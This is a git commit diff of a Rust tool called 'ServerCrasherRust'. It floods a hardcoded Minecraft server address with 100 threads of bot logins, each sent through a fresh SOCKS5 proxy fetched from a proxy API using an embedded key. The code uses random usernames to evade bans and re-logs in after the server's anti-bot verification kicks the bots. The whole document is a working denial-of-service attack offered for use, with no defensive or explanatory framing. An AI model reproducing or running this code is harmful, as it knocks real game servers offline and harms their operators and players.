初始化-第一次提交
This commit is contained in:
1
.gitignore
vendored
Normal file
1
.gitignore
vendored
Normal file
@@ -0,0 +1 @@
|
|||||||
|
/target
|
||||||
1702
Cargo.lock
generated
Normal file
1702
Cargo.lock
generated
Normal file
File diff suppressed because it is too large
Load Diff
13
Cargo.toml
Normal file
13
Cargo.toml
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
[package]
|
||||||
|
name = "ServerCrasherRust"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
rust_mc_proto = "0.1.17"
|
||||||
|
serde_json = "1.0.137"
|
||||||
|
socks = "0.3.4"
|
||||||
|
uuid = "1.12.1"
|
||||||
|
rand = "0.8.5" # 添加rand库依赖
|
||||||
|
reqwest = "0.12.12"
|
||||||
|
tokio = { version = "1.43.0", features = ["full", "rt", "rt-multi-thread"] }
|
||||||
134
src/bot_socks5.rs
Normal file
134
src/bot_socks5.rs
Normal file
@@ -0,0 +1,134 @@
|
|||||||
|
use std::{io::Error, thread::sleep, time::Duration};
|
||||||
|
|
||||||
|
use rust_mc_proto::{DataBufferReader, DataBufferWriter, MinecraftConnection, Packet, ProtocolError};
|
||||||
|
use socks::Socks5Stream;
|
||||||
|
use crate::utils;
|
||||||
|
|
||||||
|
pub struct Socks5Bot {
|
||||||
|
username: String,
|
||||||
|
proxy_addr: String,
|
||||||
|
server_addr: String,
|
||||||
|
conn: MinecraftConnection<Socks5Stream>,
|
||||||
|
should_restart: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Socks5Bot {
|
||||||
|
pub fn new(username: String, proxy_addr: String, server_addr: String) -> Result<Socks5Bot, Error> {
|
||||||
|
println!("[{}] Creating bot with proxy {}", username, proxy_addr);
|
||||||
|
let stream = Socks5Stream::connect(proxy_addr.as_str(), server_addr.as_str());
|
||||||
|
let should_restart = false;
|
||||||
|
match stream {
|
||||||
|
Ok(stream) => Ok(Socks5Bot { username, proxy_addr, server_addr, conn: MinecraftConnection::new(stream), should_restart }),
|
||||||
|
Err(e) => Err(e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// bot登录函数
|
||||||
|
pub fn login(&mut self) -> Result<(), ProtocolError> {
|
||||||
|
let mut server_host: String = self.server_addr.clone();
|
||||||
|
let server_port: String = server_host.split_off(server_host.find(":").unwrap()+1);
|
||||||
|
// println!("{}",server_host);
|
||||||
|
server_host = server_host.strip_suffix(':').unwrap().to_string();
|
||||||
|
let server_port_num: u16 = server_port.parse::<u16>().unwrap();
|
||||||
|
self.conn.write_packet(&Packet::build(0x00, |packet| {
|
||||||
|
packet.write_u16_varint(763)?; // protocol_version
|
||||||
|
packet.write_string(&server_host)?; // server_address
|
||||||
|
packet.write_unsigned_short(server_port_num)?; // server_port
|
||||||
|
packet.write_u8_varint(2) // next_state
|
||||||
|
})?)?; // handshake packet
|
||||||
|
|
||||||
|
self.conn.write_packet(&Packet::build(0x00, |packet| {
|
||||||
|
packet.write_string(&self.username)?;
|
||||||
|
packet.write_boolean(false)// ?;
|
||||||
|
// packet.write_uuid(&Uuid::parse_str("550e8400-e29b-41d4-a716-446655440000").unwrap())
|
||||||
|
})?)?; // login start packet
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn handle_keepalive(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
|
||||||
|
// keep alive
|
||||||
|
let id = packet.read_long()?;
|
||||||
|
self.conn.write_packet(&Packet::build(0x12, |packet| { // respond with a same keep alive packet
|
||||||
|
packet.write_long(id)
|
||||||
|
})?)?;
|
||||||
|
// println!("Server keep alived");
|
||||||
|
self.conn.write_packet(&Packet::build(0x07, |packet| {
|
||||||
|
packet.write_u8_varint(0)
|
||||||
|
})?)?;
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn handle_disconnect(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
|
||||||
|
// disconnect
|
||||||
|
let message = packet.read_string()?;
|
||||||
|
let text = utils::parse_json_component(message.as_str());
|
||||||
|
println!("[{}] Server disconnected: {}", self.username, text);
|
||||||
|
if text.contains("验证程序已启用") {
|
||||||
|
println!("[{}] Restart flag setted, will restart after 1.5 min", self.username);
|
||||||
|
sleep(Duration::from_secs(90));
|
||||||
|
self.should_restart = true;
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理网络数据包
|
||||||
|
pub fn handle_packets(&mut self) -> Result<(), ProtocolError> {
|
||||||
|
let mut status = 0;
|
||||||
|
|
||||||
|
while self.conn.is_alive() {
|
||||||
|
let mut packet = self.conn.read_packet()?;
|
||||||
|
match packet.id() {
|
||||||
|
0x02 => {
|
||||||
|
// login success
|
||||||
|
println!("[{}] Successfully logged in!",self.username);
|
||||||
|
status = 1;
|
||||||
|
}
|
||||||
|
0x03 => {
|
||||||
|
// set compression
|
||||||
|
let threshold = packet.read_i32_varint()?;
|
||||||
|
if threshold >= 0 {
|
||||||
|
self.conn.set_compression(Some(threshold as usize));
|
||||||
|
// println!("[{}] Compression threshold set to {}", self.username, threshold)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
0x23 => {
|
||||||
|
self.handle_keepalive(&mut packet)?;
|
||||||
|
}
|
||||||
|
0x1A => {
|
||||||
|
// disconnect
|
||||||
|
self.handle_disconnect(&mut packet)?;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
0x00 => {
|
||||||
|
if status == 0{
|
||||||
|
let text = packet.read_string()?;
|
||||||
|
println!("[{}] Failed to login: {}", self.username, utils::parse_json_component(text.as_str()));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
0x38 => {
|
||||||
|
// player died
|
||||||
|
println!("[{}] Player died,respawning...",self.username);
|
||||||
|
self.conn.write_packet(&Packet::build(0x07, |packet| {
|
||||||
|
packet.write_u8_varint(0)
|
||||||
|
})?)?
|
||||||
|
}
|
||||||
|
_ => {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn run(&mut self) -> Result<(), ProtocolError> {
|
||||||
|
println!("[{}] Connecting to {} with proxy {}", self.username, self.server_addr,self.proxy_addr);
|
||||||
|
self.login().unwrap();
|
||||||
|
self.handle_packets().unwrap_or(());
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn should_restart(&self) -> bool {
|
||||||
|
self.should_restart
|
||||||
|
}
|
||||||
|
}
|
||||||
101
src/main.rs
Normal file
101
src/main.rs
Normal file
@@ -0,0 +1,101 @@
|
|||||||
|
mod bot_socks5;
|
||||||
|
mod utils;
|
||||||
|
|
||||||
|
use tokio::sync::Mutex;
|
||||||
|
use std::sync::Arc;
|
||||||
|
use std::thread;
|
||||||
|
use rand::Rng;
|
||||||
|
use rand::distributions::Alphanumeric;
|
||||||
|
use serde_json::Value;
|
||||||
|
use reqwest;
|
||||||
|
|
||||||
|
const SERVER_ADDR: &str = "49.70.3.146:33009";
|
||||||
|
const UU_URL: &str = "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json";
|
||||||
|
|
||||||
|
#[tokio::main]
|
||||||
|
async fn main() {
|
||||||
|
// let rt = tokio::runtime::Builder::new_multi_thread()
|
||||||
|
// .enable_all()
|
||||||
|
// .thread_stack_size(8 * 1024 * 1024)
|
||||||
|
// .worker_threads(30)
|
||||||
|
// .build()
|
||||||
|
// .unwrap();
|
||||||
|
|
||||||
|
let thread_lock = Arc::new(Mutex::new(()));
|
||||||
|
|
||||||
|
let mut handles = Vec::new();
|
||||||
|
|
||||||
|
for i in 0..100 {
|
||||||
|
let lock_clone = thread_lock.clone();
|
||||||
|
// let handle = tokio::spawn(async move {
|
||||||
|
// attack_thread(lock_clone).await;
|
||||||
|
// println!("[MAIN] Thread {} created", i);
|
||||||
|
// });
|
||||||
|
let handle = thread::spawn(move || {
|
||||||
|
tokio::runtime::Builder::new_current_thread()
|
||||||
|
.enable_all()
|
||||||
|
.thread_stack_size(8 * 1024 * 1024)
|
||||||
|
.build()
|
||||||
|
.unwrap()
|
||||||
|
.block_on(async move {
|
||||||
|
attack_thread(lock_clone).await;
|
||||||
|
println!("[MAIN] Thread {} created", i);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
handles.push(handle);
|
||||||
|
println!("[MAIN] Thread {} created", i)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 等待所有任务完成
|
||||||
|
for handle in handles {
|
||||||
|
handle.join().unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn attack_thread(lock: Arc<Mutex<()>>) -> () {
|
||||||
|
loop {
|
||||||
|
let resp: reqwest::Response;
|
||||||
|
{
|
||||||
|
let _guard = lock.lock().await;
|
||||||
|
resp = reqwest::get(UU_URL).await.unwrap();
|
||||||
|
}
|
||||||
|
let proxy_list: Value = serde_json::from_str(&resp.text().await.unwrap()).unwrap();
|
||||||
|
let proxy = &proxy_list["proxies"].as_array().unwrap()[0];
|
||||||
|
let username = generate_string();
|
||||||
|
let mut flag = true;
|
||||||
|
|
||||||
|
while flag {
|
||||||
|
flag = false;
|
||||||
|
let bot_result = bot_socks5::Socks5Bot::new(
|
||||||
|
username.clone(),
|
||||||
|
format!("{}:{}", proxy["ip"].as_str().unwrap(), proxy["port"]),
|
||||||
|
SERVER_ADDR.to_string(),
|
||||||
|
);
|
||||||
|
if let Ok(mut bot) = bot_result {
|
||||||
|
match bot.run() {
|
||||||
|
Ok(_) => {
|
||||||
|
if bot.should_restart() {
|
||||||
|
flag = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
eprintln!("[{}] Error running bot: {}", username.clone(), e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}else if let Err(e) = bot_result {
|
||||||
|
eprintln!("[{}] Error creating bot: {}", username.clone(), e);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn generate_string() -> String {
|
||||||
|
let mut rng = rand::thread_rng();
|
||||||
|
let len = rng.gen_range(5..=10);
|
||||||
|
rng.sample_iter(&Alphanumeric)
|
||||||
|
.take(len)
|
||||||
|
.map(char::from)
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
37
src/utils.rs
Normal file
37
src/utils.rs
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
// 处理json组件
|
||||||
|
pub fn parse_json_component(json: &str) -> String {
|
||||||
|
let data: serde_json::Value = serde_json::from_str(json).unwrap();
|
||||||
|
let mut res: String = String::new();
|
||||||
|
let text = data.get("text");
|
||||||
|
match text {
|
||||||
|
Some(t) => {
|
||||||
|
if t.is_string(){
|
||||||
|
res += t.as_str().unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
None => {
|
||||||
|
let translate = data.get("translate");
|
||||||
|
match translate {
|
||||||
|
Some(t) => {
|
||||||
|
if t.is_string(){
|
||||||
|
res += t.as_str().unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
None => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let extra = data.get("extra");
|
||||||
|
match extra {
|
||||||
|
Some(t) =>{
|
||||||
|
for i in t.as_array().unwrap(){
|
||||||
|
if !i.is_object(){
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
res += parse_json_component(i.to_string().as_str()).as_str();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
None => {}
|
||||||
|
}
|
||||||
|
return res;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user